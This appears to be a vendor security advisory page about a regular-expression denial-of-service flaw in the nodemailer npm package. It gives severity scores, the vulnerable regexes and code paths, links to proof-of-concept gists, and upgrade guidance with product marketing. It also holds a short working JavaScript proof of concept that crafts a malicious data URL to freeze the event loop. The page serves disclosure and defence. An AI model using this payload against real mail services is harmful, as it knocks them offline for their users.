GHSA-9h6g-pr28-7cqp is a medium-severity (CVSS 5.3) CWE-1333 vulnerability in nodemailer. A fix is available for nodemailer — see the affected versions and patch details below.
nodemailer ReDoS when trying to send a specially crafted email
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9h6g-pr28-7cqp.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9h6g-pr28-7cqp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nodemailernpmDescription
Summary
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
Details
Regex: /^data:((?:[^;];)(?:[^,])),(.)$/
Path: compile -> getAttachments -> _processDataUrl
Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/
Path: _convertDataImages
PoC
https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
async function exploit() {
const MailComposer = require(\"nodemailer/lib/mail-composer\");
const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();
Impact
ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nodemailer | all versions | 6.9.9npm install nodemailer@6.9.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nodemailer to 6.9.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9h6g-pr28-7cqp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9h6g-pr28-7cqp can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9h6g-pr28-7cqp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9h6g-pr28-7cqp in your dependencies?
O3 Security finds GHSA-9h6g-pr28-7cqp across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.